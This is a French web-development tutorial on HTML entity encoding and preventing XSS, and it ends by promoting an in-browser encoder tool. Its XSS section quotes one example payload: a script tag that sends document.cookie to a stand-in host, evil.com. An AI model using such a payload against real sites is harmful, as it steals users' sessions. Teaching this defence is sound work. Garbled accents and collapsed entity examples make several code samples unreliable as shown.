Guide d'Encodage des Entités HTML : Protégez Vos Pages Web
Si vous avez déjà essayé d'afficher une balise <div> comme texte sur une page web et l'avez vue disparaßtre dans le DOM, vous connaissez déjà le problÚme. Les navigateurs interprÚtent certains caractÚres comme des instructions de balisage, pas comme du contenu. Les entités HTML sont le moyen de dire au navigateur : « affiche ce caractÚre tel quel, ne l'interprÚte pas. »
Ce guide couvre les entités que vous utiliserez réellement, quand l'encodage compte et comment éviter les failles de sécurité qui découlent de son omission.
Pourquoi les Entités HTML Existent
Le HTML utilise une poignée de caractÚres comme délimiteurs structurels. Les trois principaux :
<ouvre une balise>ferme une balise&démarre une référence d'entité
Quand l'analyseur du navigateur rencontre <script>, il n'affiche pas le texte â il exĂ©cute du JavaScript. Quand il rencontre ©, il rend ©. Cette double nature signifie que si vous voulez afficher ces caractĂšres comme texte visible, vous devez les Ă©chapper avec des entitĂ©s HTML.
Une entité HTML est une chaßne qui commence par & et se termine par ;. Entre ces délimiteurs se trouve une référence nommée (comme amp) ou un point de code numérique (comme #38).
Référence des Entités HTML Courantes
Voici les entités que vous utiliserez le plus souvent :
| CaractÚre | Entité Nommée | Entité Numérique | Description |
|---|---|---|---|
& | & | & | Esperluette |
< | < | < | Inférieur à |
> | > | > | Supérieur à |
" | " | " | Guillemet double |
' | ' | ' | Guillemet simple (apostrophe) |
| (espace) | |   | Espace insĂ©cable |
| © | © | © | Droit d'auteur |
| â | — | — | Tiret cadratin |
| ⊠| … | … | Points de suspension |
| ⏠| € | € | Signe euro |
| âą | ™ | ™ | Marque dĂ©posĂ©e |
Les cinq premiÚres sont obligatoires. Si vous rendez du contenu généré par les utilisateurs ou affichez du code, vous utiliserez &, <, >, " et ' en permanence.
L'Espace Insécable : Le Discret
empĂȘche un retour Ă la ligne entre deux mots. Ce n'est pas simplement « un espace supplĂ©mentaire » â les navigateurs fusionnent plusieurs espaces normaux en un seul, mais est toujours rendu. Utilisez-le pour :
- Garder les unités avec les nombres :
100 km - Ăviter les mots orphelins en fin de paragraphe
- Formater les prix :
99,99 âŹ
N'utilisez pas pour l'espacement de mise en page. C'est le rĂŽle du margin et du padding en CSS.
Entités Nommées vs Numériques vs Hexadécimales
Il y a trois façons d'Ă©crire la mĂȘme entitĂ© :
<!-- Entité nommée -->
&
<!-- Entité numérique décimale -->
&
<!-- Entité numérique hexadécimale -->
&
Les trois produisent le caractĂšre esperluette &. Quand utiliser chacune :
Les entitĂ©s nommĂ©es (&, <, ©) sont lisibles et auto-documentĂ©es. Quand quelqu'un lit le code source HTML, & communique l'intention immĂ©diatement. Utilisez-les pour les caractĂšres courants.
Les entitĂ©s numĂ©riques dĂ©cimales (&, ©) fonctionnent pour tout point de code Unicode, mĂȘme les caractĂšres sans rĂ©fĂ©rence nommĂ©e. Utilisez-les quand vous avez besoin de caractĂšres sans entitĂ© nommĂ©e ou lors de la gĂ©nĂ©ration programmatique de HTML.
Les entitĂ©s hexadĂ©cimales (&, ©) sont identiques aux dĂ©cimales mais utilisent la notation hexadĂ©cimale. Utiles quand vous travaillez avec les tables Unicode (qui listent les points de code en hex) ou quand vos outils produisent des valeurs hex.
En pratique, utilisez les entités nommées pour les courantes et les numériques pour le reste. Les entités nommées sont supportées par tous les navigateurs et bien plus faciles à lire dans le code source.
Quand Encoder les CaractĂšres HTML
Afficher des Extraits de Code
Si votre page montre des exemples de code, chaque < et > doit ĂȘtre encodĂ© :
<!-- Ceci casse -->
<p>Utilisez la balise <div> pour les conteneurs.</p>
<!-- Ceci fonctionne -->
<p>Utilisez la balise <div> pour les conteneurs.</p>
La plupart des moteurs de templates et frameworks gĂšrent cela automatiquement avec leur syntaxe de sortie standard. Mais quand vous Ă©crivez du HTML brut ou injectez du contenu avec innerHTML, vous ĂȘtes seul.
Contenu Généré par les Utilisateurs
Tout contenu provenant des utilisateurs â champs de formulaire, commentaires, donnĂ©es de profil, requĂȘtes de recherche â doit ĂȘtre encodĂ© avant le rendu. C'est une exigence de sĂ©curitĂ©, pas une option.
E-mails HTML
Les clients mail sont notoirement incohérents dans le rendu des caractÚres. Encoder les caractÚres spéciaux en entités garantit qu'ils s'affichent correctement dans Gmail, Outlook, Apple Mail et tout autre client.
SystĂšmes de Gestion de Contenu
Si vous construisez ou utilisez un CMS, le pipeline de contenu doit encoder les entitĂ©s HTML Ă l'Ă©tape de sortie. Le contenu stockĂ© en base de donnĂ©es peut ĂȘtre brut, mais ce qui arrive au navigateur doit ĂȘtre Ă©chappĂ©.
Prévention XSS : Pourquoi l'Encodage Est un Enjeu de Sécurité
Ne pas encoder les entrĂ©es utilisateur avant de les rendre en HTML est la cause la plus courante des vulnĂ©rabilitĂ©s Cross-Site Scripting (XSS). Ce n'est pas un risque thĂ©orique â le XSS figure systĂ©matiquement dans le OWASP Top 10 et est activement exploitĂ©.
Comment Fonctionne le XSS
Considérez une page de recherche qui affiche ce que l'utilisateur a cherché :
<!-- Le serveur rend ceci -->
<p>Vous avez cherché : ENTREE_UTILISATEUR</p>
Si un utilisateur saisit du texte normal comme javascript tutorials, pas de problĂšme. Mais s'il saisit :
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Sans encodage, le navigateur voit une vraie balise <script> et l'exécute. L'attaquant obtient les cookies de la victime, ses jetons de session et potentiellement l'accÚs complet au compte.
La Solution
Encodez les cinq caractÚres critiques avant d'insérer toute donnée non fiable dans le HTML :
| CaractÚre | Entité | Pourquoi C'est Important |
|---|---|---|
& | & | EmpĂȘche l'injection d'entitĂ©s |
< | < | EmpĂȘche l'injection de balises |
> | > | Ferme les balises injectées |
" | " | EmpĂȘche l'Ă©vasion d'attributs |
' | ' | EmpĂȘche l'Ă©vasion d'attributs (guillemets simples) |
Voici une fonction d'encodage minimale :
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Notez l'ordre : & doit ĂȘtre remplacĂ© en premier. Si vous remplacez d'abord < (produisant <), puis & (transformant < en &lt;), vous obtenez un double encodage.
L'encodage seul ne couvre pas tous les contextes XSS. Si vous insérez des données utilisateur dans du JavaScript, du CSS ou des attributs d'URL, vous avez besoin d'un encodage spécifique au contexte. L'encodage d'entités HTML ne protÚge que les contextes de corps et d'attributs HTML.
Protection au Niveau du Framework
Les frameworks modernes gÚrent l'encodage par défaut :
- React : JSX échappe automatiquement les valeurs dans les expressions
{}.dangerouslySetInnerHTMLcontourne cela â Ă©vitez-le avec du contenu utilisateur. - Angular : Les liaisons de template sont assainies automatiquement.
[innerHTML]contourne l'assainissement. - Vue : La syntaxe moustache
{{ }}échappe automatiquement.v-htmlnon. - Templates cÎté serveur (EJS, Jinja2, Twig) : La plupart échappent par défaut, mais vérifiez votre configuration.
Le schéma est cohérent : le chemin standard est sûr, et il y a toujours une trappe pour le HTML brut. Ne faites jamais passer les entrées utilisateur par la trappe.
Encodez du HTML avec Notre Outil
Besoin d'encoder ou décoder des entités HTML rapidement ? Notre outil Encodeur HTML s'en charge instantanément :
- Collez votre texte et obtenez la sortie encodée en un clic
- Supporte toutes les entités nommées et numériques
- Décode les entités en texte lisible
- Tout est traitĂ© cĂŽtĂ© client â vos donnĂ©es ne quittent jamais votre navigateur
ParticuliÚrement utile pour préparer du contenu pour les e-mails HTML, encoder des extraits de code pour la documentation ou assainir du texte avant de l'intégrer dans des templates.
Erreurs Courantes Ă Ăviter
Double encodage : Passer du texte deux fois dans un encodeur transforme & en &amp;. Si vous voyez & s'afficher comme texte littéral, il y a eu un double encodage quelque part dans le pipeline.
Encoder dans les balises <script> : L'encodage d'entitĂ©s HTML ne fonctionne pas dans les blocs de script. L'analyseur JavaScript ne comprend pas < â il le voit comme la chaĂźne littĂ©rale <. Pour les scripts en ligne, utilisez l'Ă©chappement de chaĂźnes JavaScript.
Utiliser pour l'espacement : Cela crée des problÚmes d'accessibilité. Les lecteurs d'écran peuvent prononcer chaque espace insécable individuellement. Utilisez le CSS pour l'espacement visuel.
Oublier les valeurs d'attributs : L'encodage ne concerne pas que le contenu textuel. Les valeurs d'attributs ont aussi besoin d'encodage, surtout si elles contiennent des entrées utilisateur :
<!-- Dangereux -->
<input value="ENTREE_UTILISATEUR">
<!-- Sûr -->
<input value=""valeur" encodée">
Référence Rapide : Arbre de Décision d'Encodage
- Le contenu est-il gĂ©nĂ©rĂ© par l'utilisateur ? â Toujours encoder
- Affichez-vous du code ? â Encoder
<,>et& - C'est dans un attribut HTML ? â Encoder aussi
"et' - C'est dans une URL ? â Utilisez l'encodage URL (voir notre Guide d'Encodage URL)
- C'est dans du JavaScript ? â Utilisez l'Ă©chappement JavaScript, pas les entitĂ©s HTML
Ressources Connexes
- L'Encodage Base64 ExpliquĂ© â comprendre un autre format d'encodage essentiel pour le dĂ©veloppement web
- Guide d'Encodage URL â apprendre quand et comment encoder les caractĂšres en pourcentage dans les URL
- Outil Encodeur HTML â encoder et dĂ©coder instantanĂ©ment les entitĂ©s HTML dans votre navigateur
đ ïž Essayez notre Encodeur HTML pour encoder et dĂ©coder des entitĂ©s HTML directement dans votre navigateur â aucune donnĂ©e envoyĂ©e Ă un serveur.